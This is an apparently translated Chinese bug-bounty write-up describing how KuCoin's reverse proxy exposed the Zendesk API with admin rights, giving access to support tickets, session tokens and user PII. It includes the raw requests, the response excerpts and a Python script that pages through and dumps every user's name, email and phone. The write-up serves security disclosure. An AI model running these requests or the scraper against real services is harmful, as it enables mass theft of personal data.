KuCoin的秘密:揭示百萬美元賞金背后的用戶信息泄露

近期,KuCoin加密貨幣交易平臺在一個名為HackenProof的漏洞賞金平臺上,宣布提供高達100萬美元的賞金。

黑客小黑在對KuCoin進行探索時,發現了一個重要的問題:KuCoin似乎在使用Zendesk API進行反向代理。

在進一步的探索中,黑客小黑發現KuCoin的Zendesk API可以訪問所有Zendesk的API請求,包括敏感的用戶信息。

例如,他可以訪問Zendesk的票據端點,列出和搜索支持票據。更令人震驚的是,他還可以通過搜索.json端點搜索票據,這其中包括會話令牌。

更糟糕的是,黑客小黑發現他甚至可以通過GET請求獲取所有用戶的信息,包括他們的姓名、電子郵件、電話號碼等。

Zendesk API的分頁功能使得這一切變得更加簡單。作者編寫了一個Python腳本,可以獲取所有Zendesk用戶的信息,并將其導出。

總的來說,小黑發現KuCoin的Zendesk API存在嚴重的安全漏洞,任何人都可以利用這個漏洞獲取大量的敏感用戶信息。

這個發現可能會讓小黑獲得高達100萬美元的賞金。

漏洞復現步驟:

1.通過 Burp Suite 代理我的瀏覽器流量。 

2.單擊 Web 應用程序并了解其功能。 

3.分析 Burp Suite 中記錄的 HTTP 請求。 

我開始代理我的流量 Burp Suite。已注冊庫幣賬戶。單擊通過該網站。

過了一會兒,我開始挖掘 Burp Suite 中記錄的 HTTP 請求。

沒有什么立即引起我的注意,直到我發現以下內容:

GET /_api/zendesk/api/v2/help_center/en-us/articles/6545352890265.json HTTP/2Host: www.kucoin.comConnection: close

Zendesk 是一個客戶服務平臺,允許企業管理客戶支持問題。

此請求中有兩個對 API 的引用:/_api/zendesk和/api/v2/。

返回包證實了我的懷疑,這是 Zendesk API 的反向代理

{ "data": {  "article": {   "id": 6545352890265,   "url": "https://kucoin.zendesk.com/api/v2/help_center/en-us/articles/6545352890265.json",   "html_url": "https://kucoin.zendesk.com/hc/en-us/articles/6545352890265-Change-Login-Password",   "author_id": 903637920486,   "comments_disabled": true,   "draft": false,   "promoted": false,   "position": 0,   "vote_sum": 1,   "vote_count": 3,   "section_id": 6632289240345,   "created_at": "2022-05-12T12:33:28Z",   "updated_at": "2023-02-07T04:08:29Z",   "name": "Change Login Password",   "title": "Change Login Password",   "source_locale": "en-us",   "locale": "en-us",   "outdated": false,   "outdated_locales": [],   "edited_at": "2022-06-08T14:37:58Z",   "user_segment_id": null,   "permission_group_id": 830894,   "content_tag_ids": [],   "label_names": [],   "body": "1. Can't Receive Email/SMS Verification Codehttps://support.kucoin.plus/hc/en-us/articles/360015206853-Cannot-Receive-Email-Code-SMS-message
Please check the messages in your frequently used phone number or email that you may have used for registration. There shall be an notification when you complete the registration. Then use the correct account to reset password.2. Still Unable to Log in After Resetting the Login PasswordPlease retry after clearing the cache or switch the browser. If you're still unable to log in, please make sure you input it in the correct format; please exclude the country code, e.g., for +82 123456, enter '123456' only, or try to remove/add 0 before your phone number and try again."  } }, "success": true} "成功" : true }

但它會推動/_api/zendesk/api/v2/*

GET /_api/zendesk/api/v2/ HTTP/2Host: www.kucoin.comConnection: close
{ "data": "<html dir=\"ltr\" lang=\"en-US\"><head>  <meta charset=\"utf-8\" />    <title>The page you were looking for doesn't exist – KuCoin Help Centertitle>    <meta name=\"robots\" content=\"noindex, nofollow, noarchive, nosnippet\">  <link rel=\"stylesheet\" href=\"http://static.zdassets.com/hc/assets/application-4457e15fd2317df56adee04580b8726d.css\" media=\"all\" id=\"stylesheet\" />  <link rel=\"stylesheet\" type=\"text/css\" href=\"http://p25.zdassets.com/hc/theming_assets/2196095/360000017594/style.css?digest=9096602929177\">  <link rel=\"icon\" type=\"image/x-icon\" href=\"http://theme.zdassets.com/theme_assets/2196095/8ea3012f8759412bafaffd7d07248ed1e75d8afa.ico\" />    <script>window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;ga('create', 'UA-46608064-13', 'auto');ga('send', 'pageview');script><script async src='https://www.google-analytics.com/analytics.js'>script>      <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"/>---SNIP---"}

我查看了API 文檔并發現了以下內容:

您必須是經過驗證的用戶才能發出 API 請求。您可以使用您的電子郵件地址和密碼、您的電子郵件地址和 API 令牌或 OAuth 訪問令牌的基本身份驗證對 API 進行授權。

所以…Zendesk API 要求您進行身份驗證…KuCoin 正在代理對 Zendesk API 的任何請求…

我們可以只作為KuCoin的認證用戶使用API嗎?

Tickets

我點擊了tickets端點,它允許您列出、搜索支持票證。

GET /_api/zendesk/api/v2/tickets.json HTTP/2Host: www.kucoin.comConnection: close

令我驚訝的是,確實如此。

HTTP/2 200 OKDate: Tue, 18 Apr 2023 17:12:51 GMTContent-Type: application/json-- snip -- { "data": {  "tickets": [{   "url": "https://kucoin.zendesk.com/api/v2/tickets/285403.json",   "id": 285403,   "external_id": null,   "via": {    "channel": "email",    "source": {     "from": {      "address": "help@poloniexus.circle.com",      "name": "Poloniex US"     },     "to": {      "name": "KuCoin",      "address": "support@kucoin.com"     },     "rel": null    }   },--- snip ---    "next_page":"https://kucoin.zendesk.com/api/v2/tickets.json?page=2",    "previous_page":null,    "count":276479

Zendesk 中有 276479 個票證,其中包含敏感信息 - PII(附件中的 KYC 信息)、會話令牌、IP 地址、帳戶信息等:

更有趣的是,有一個search.json端點可以讓您搜索tickets

其中包括會話令牌:

竊取用戶信息:

GET /_api/zendesk/api/v2/users.json HTTP/2Host: www.kucoin.comConnection: close

它披露了每個用戶的姓名、電子郵件、電話號碼等。感謝 Zendesk API 支持分頁!

這是一個例子:

BASE_URL = 'https://www.kucoin.com/_api/zendesk/api/v2/' def get_all_zendesk_users(dump=False):    page = BASE_URL + "/users.json"    while True:        r = requests.get(page)        dat = r.json().get('data')        users = dat.get('users')        for u in users:            print(f"{u['name']}, {u['email']}, {u['phone']}, {u['role']}")         if dump:            if dat.get('next_page') is None:                break            parsed_url = urlparse(dat.get('next_page'))            query_params = parse_qs(parsed_url.query)            page = query_params.get('page', [None])[0]            page = f"{BASE_URL}/users.json?page={page}"        else:            breakget_all_zendesk_users(dump=True)

我測試了一小部分用戶樣本來證明對kucoin的重要性。

長話短說:您可以使用 Zendesk API 文檔中指定的任何端點:https://developer.zendesk.com/api-reference/作為 KuCoin 的管理員用戶。

這是因為通過管理員身份驗證https://kucoin.com/_api/zendesk/api/v2反向代理到https://kucoin.zendesk.com/api/v2/